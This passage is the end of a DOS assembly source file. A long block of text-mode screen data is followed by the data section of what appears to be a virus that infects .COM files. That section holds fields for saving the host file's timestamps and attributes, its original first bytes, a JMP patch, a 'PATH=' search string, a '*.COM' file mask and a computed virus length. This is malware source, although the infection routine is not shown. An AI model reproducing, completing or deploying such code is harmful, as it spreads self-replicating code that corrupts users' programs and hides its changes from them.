        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,'°',10,'±',10,'²',10,'Û',10,'Û'
        DB      10,'Û',10,'Û',10,'Û',10,'Û',10,'Û',10,'²',10,'±',10,'°'
        DB      10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,'Û',6,'Û',6,'Û',6,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
        DB      ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
        DB      15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
        DB      6,' ',6

olddta_ DW      0                       
olddts_ DW      0                       
oldtim_ DW      0                       
oldate_ DW      0                       
oldatt_ DW      0                       
first3_ EQU     $
        INT     20H
        NOP
jmpop_  DB      0E9H                    
jmpdsp_ DW      0                       
pathad_ DW      0                       
namptr_ DW      0                       
envstr_ DB      'PATH='                 
fspec_  DB      '*.COM',0
wrkspc_ DB      40h dup (0)
dta_    DB      16h dup (0)             
dtatim_ DW      0,0                     
dtalen_ DW      0,0                     
dtanam_ DB      0Dh dup (0)             
lst_byt EQU     $                       
                                        
virlen  =       lst_byt - v_start       
codelen =       vir_dat - v_start       
c_len_x =       vir_dat - v_start - 2   
c_len_y =       vir_dat - v_start + 100H
old_dta =       olddta_ - vir_dat       
old_dts =       olddts_ - vir_dat       
old_tim =       oldtim_ - vir_dat       
ol_date =       oldate_ - vir_dat       
old_att =       oldatt_ - vir_dat       
first_3 =       first3_ - vir_dat       
jmp_op  =       jmpop_  - vir_dat       
jmp_dsp =       jmpdsp_ - vir_dat       
f_spec  =       fspec_  - vir_dat       
path_ad =       pathad_ - vir_dat       
nam_ptr =       namptr_ - vir_dat       
env_str =       envstr_ - vir_dat       
wrk_spc =       wrkspc_ - vir_dat       
dta     =       dta_    - vir_dat       
dta_tim =       dtatim_ - vir_dat       
dta_len =       dtalen_ - vir_dat       
dta_nam =       dtanam_ - vir_dat       

        CODE    ENDS
END     VCODE

